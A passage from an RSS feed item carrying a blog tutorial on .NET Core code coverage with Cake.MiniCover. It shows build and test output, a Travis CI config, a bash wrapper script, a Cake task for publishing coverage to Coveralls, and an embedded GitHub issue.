Reset coverage &lt;span class="k"&gt;for &lt;/span&gt;directory: &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore'&lt;/span&gt; on pattern &lt;span class="s1"&gt;'./coverage-hits.txt'&lt;/span&gt;
Directory is already cleared
Test run &lt;span class="k"&gt;for&lt;/span&gt; /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1/MyLib.Tests.dll&lt;span class="o"&gt;(&lt;/span&gt;.NETCoreApp,Version&lt;span class="o"&gt;=&lt;/span&gt;v2.1&lt;span class="o"&gt;)&lt;/span&gt;
Microsoft &lt;span class="o"&gt;(&lt;/span&gt;R&lt;span class="o"&gt;)&lt;/span&gt; Test Execution Command Line Tool Version 15.3.0-preview-20170628-02
Copyright &lt;span class="o"&gt;(&lt;/span&gt;c&lt;span class="o"&gt;)&lt;/span&gt; Microsoft Corporation.  All rights reserved.

Starting &lt;span class="nb"&gt;test &lt;/span&gt;execution, please wait...
&lt;span class="o"&gt;[&lt;/span&gt;xUnit.net 00:00:00.4964089]   Discovering: MyLib.Tests
&lt;span class="o"&gt;[&lt;/span&gt;xUnit.net 00:00:00.5609486]   Discovered:  MyLib.Tests
&lt;span class="o"&gt;[&lt;/span&gt;xUnit.net 00:00:00.5680125]   Starting:    MyLib.Tests
&lt;span class="o"&gt;[&lt;/span&gt;xUnit.net 00:00:00.7413388]   Finished:    MyLib.Tests

Total tests: 1. Passed: 1. Failed: 0. Skipped: 0.
Test Run Successful.
Test execution &lt;span class="nb"&gt;time&lt;/span&gt;: 1.6506 Seconds
Changing working directory to &lt;span class="s1"&gt;'/home/nathan/projects/coveralls-netcore'&lt;/span&gt;
+-------------------+-------+---------------+------------+
| File              | Lines | Covered Lines | Percentage |
+-------------------+-------+---------------+------------+
| src/MyLib/Math.cs |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
| All files         |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
Finished executing task: Test

Task                          Duration            
&lt;span class="nt"&gt;--------------------------------------------------&lt;/span&gt;
Restore                       00:00:01.9525117    
Build                         00:00:02.9521372    
Test                          00:00:06.5041439    
&lt;span class="nt"&gt;--------------------------------------------------&lt;/span&gt;
Total:                        00:00:11.4087928
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Automating Tests &amp;amp; Publishing Coverage
&lt;/h2&gt;

&lt;p&gt;Now that we have a build script to run our tests and generate coverage results, we can connect our repo to &lt;a href="https://docs.travis-ci.com/user/getting-started"&gt;TravisCI&lt;/a&gt; and &lt;a href="https://docs.coveralls.io/"&gt;Coveralls&lt;/a&gt;. Follow the getting started guides to connect both services to your GitHub account and add your repo. Then, create a &lt;code&gt;.travis.yml&lt;/code&gt; file at the root of your repo with the following contents:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;language&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;csharp&lt;/span&gt;
&lt;span class="na"&gt;mono&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;none&lt;/span&gt;
&lt;span class="na"&gt;dotnet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2.1&lt;/span&gt;

&lt;span class="na"&gt;script&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;./build/travis.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;I like to wrap my Travis builds in a separate script. This way, if I publish a Docker Container, I can log in to Docker Hub and push the image only on the master branch, which I can detect with environment variables that Travis exposes:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ./build/travis.sh&lt;/span&gt;


&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;SCRIPT_ROOT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;dirname&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;BASH_SOURCE&lt;/span&gt;&lt;span class="p"&gt;[0]&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;pwd&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;CAKE_TASK&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Coveralls

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Building task &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CAKE_TASK&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;SCRIPT_ROOT&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/../build.sh"&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CAKE_TASK&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;We're also going to add a new Cake task to upload coverage results to Coveralls:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="nf"&gt;Task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Coveralls"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;IsDependentOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Test"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Does&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;TravisCI&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IsRunningOnTravisCI&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;Warning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Not running on travis, cannot publish coverage"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nf"&gt;MiniCoverReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nf"&gt;MiniCoverSettings&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WithCoverallsSettings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="p"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;UseTravisDefaults&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GenerateReport&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReportType&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;COVERALLS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Coveralls has this lovely integration with Travis, where we only need to provide the build ID and it'll figure out the rest of the commit information automatically. If you aren't building in TravisCI, you will need to specify additional information. See the &lt;a href="http://cakebuild.net/api/Cake.MiniCover.Settings/CoverallsSettings/"&gt;&lt;code&gt;CoverallsSettings&lt;/code&gt;&lt;/a&gt; extension methods for details on how to provide this information via &lt;code&gt;Cake.MiniCover&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, we have TravisCI automatically &lt;a href="https://travis-ci.org/nlowe/coveralls-netcore/builds/406664517"&gt;building &amp;amp; testing&lt;/a&gt; our code, and Coveralls &lt;a href="https://coveralls.io/builds/18100397"&gt;tracking code coverage&lt;/a&gt;!&lt;/p&gt;
&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;I hope you found this helpful. I'd love to be able to provide MiniCover support without requiring a tools project, but that requires MiniCover to be split into a core library and a cli tool: &lt;/p&gt;
&lt;div class="ltag_github-liquid-tag"&gt;
  &lt;h1&gt;
    &lt;a href="https://github.com/lucaslorentz/minicover/issues/31"&gt;
      &lt;img class="github-logo" alt="GitHub logo" src="https://res.cloudinary.com/practicaldev/image/fetch/s--vWogaON8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-28d89282e0daa1e2496205e2f218a44c755b0dd6536bbadf5ed5a44a7ca54716.svg"&gt;
      &lt;span class="issue-title"&gt;
        Extract common Library to enable consumption from other tools
      &lt;/span&gt;
      &lt;span class="issue-number"&gt;#31&lt;/span&gt;
    &lt;/a&gt;
  &lt;/h1&gt;
  &lt;div class="github-thread"&gt;
    &lt;div class="timeline-comment-header"&gt;
      &lt;a href="https://github.com/nlowe"&gt;
        &lt;img class="github-liquid-tag-img" src="https://res.cloudinary.com/practicaldev/image/fetch/s--ZfIHRSVR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://avatars1.githubusercontent.com/u/794251%3Fv%3D4" alt="nlowe avatar"&gt;
      &lt;/a&gt;
      &lt;span class="arrow-left-outer"&gt;&lt;/span&gt;
      &lt;span class="arrow-left-inner"&gt;&lt;/span&gt;
      &lt;div class="timeline-comment-header-text"&gt;
        &lt;strong&gt;
          &lt;a href="https://github.com/nlowe"&gt;nlowe&lt;/a&gt;
        &lt;/strong&gt; posted on &lt;a href="https://github.com/lucaslorentz/minicover/issues/31"&gt;&lt;time&gt;Feb 26, 2018&lt;/time&gt;&lt;/a&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag-github-body"&gt;
      &lt;p&gt;I want to write a &lt;a href="https://cakebuild.net" rel="nofollow"&gt;Cake&lt;/a&gt; addin for MiniCover like the one that exists for &lt;a href="https://cakebuild.net/api/Cake.Common.Tools.OpenCover/OpenCoverAliases/191C133A" rel="nofollow"&gt;OpenCover&lt;/a&gt;. I cannot easily instruct users to add MiniCover as a tool as the way cake downloads tools from Nuget is not compatible with the &lt;code&gt;DotnetCliTool&lt;/code&gt; package type. I could tell users to create a tools project as instructed in the README and pass that to my addin, but I think an easier solution is if we separate the actual instrumentation and reporting logic from the dotnet cli tool frontend. This would allow me to reference it as a dependency in my package and enable users to get simple coverage with something like:&lt;/p&gt;
&lt;div class="highlight highlight-source-cs"&gt;&lt;pre&gt;#addin "Cake.MiniCover"

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; ...&lt;/span&gt;

&lt;span class="pl-en"&gt;Task&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Coverage&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
    .&lt;span class="pl-en"&gt;IsDependentOn&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;build&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
    .&lt;span class="pl-en"&gt;Does&lt;/span&gt;(() &lt;span class="pl-k"&gt;=&amp;gt;&lt;/span&gt; 
{
    &lt;span class="pl-en"&gt;MiniCover&lt;/span&gt;(&lt;span class="pl-smi"&gt;tool&lt;/span&gt; &lt;span class="pl-k"&gt;=&amp;gt;&lt;/span&gt;
        {
            &lt;span class="pl-k"&gt;foreach&lt;/span&gt;(&lt;span class="pl-k"&gt;var&lt;/span&gt; &lt;span class="pl-smi"&gt;project&lt;/span&gt; &lt;span class="pl-k"&gt;in&lt;/span&gt; &lt;span class="pl-en"&gt;GetFiles&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./test/**/*.csproj&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;))
            {
                &lt;span class="pl-smi"&gt;tool&lt;/span&gt;.&lt;span class="pl-en"&gt;DotNetCoreTest&lt;/span&gt;(&lt;span class="pl-smi"&gt;project&lt;/span&gt;.&lt;span class="pl-smi"&gt;FullPath&lt;/span&gt;, &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-en"&gt;DotNetCoreTestSettings&lt;/span&gt;()
                {
                    &lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; Required to keep instrumentation added by MiniCover&lt;/span&gt;
                    &lt;span class="pl-smi"&gt;NoBuild&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-c1"&gt;true&lt;/span&gt;,
                    &lt;span class="pl-smi"&gt;Configuration&lt;/span&gt; &lt;span class="pl-k"&gt;=&lt;/span&gt; &lt;span class="pl-smi"&gt;configuration&lt;/span&gt;
                });
            }
        },
        &lt;span class="pl-k"&gt;new&lt;/span&gt; &lt;span class="pl-en"&gt;MiniCoverSettings&lt;/span&gt;()
            .&lt;span class="pl-en"&gt;WithAssembliesMatching&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./test/**/*.dll&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
            .&lt;span class="pl-en"&gt;WithSourcesMatching&lt;/span&gt;(&lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;./src/**/*.cs&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt;)
            .&lt;span class="pl-en"&gt;GenerateReport&lt;/span&gt;(&lt;span class="pl-smi"&gt;ReportType&lt;/span&gt;.&lt;span class="pl-smi"&gt;CONSOLE&lt;/span&gt; &lt;span class="pl-k"&gt;|&lt;/span&gt; &lt;span class="pl-smi"&gt;ReportType&lt;/span&gt;.&lt;span class="pl-smi"&gt;XML&lt;/span&gt;)
    );
});

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;//&lt;/span&gt; ...&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then, generating coverage becomes as simple as&lt;/p&gt;
&lt;div class="highlight highlight-source-shell"&gt;&lt;pre&gt;./build.sh -t Coverage

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Or on Windows:&lt;/span&gt;

./build.ps1 -t Coverage&lt;/pre&gt;&lt;/div&gt;

    &lt;/div&gt;
    &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/lucaslorentz/minicover/issues/31"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;If you notice any problems with &lt;code&gt;Cake.MiniCover&lt;/code&gt;, definitely open an &lt;a href="https://github.com/nlowe/cake.minicover"&gt;issue&lt;/a&gt;! If you have a feature you'd like to see added, pull requests are welcome as well.&lt;/p&gt;

</description>
      <category>dotnetcore</category>
      <category>cake</category>
      <category>travisci</category>
      <category>coveralls</category>
    </item>
  </channel>
</rss>
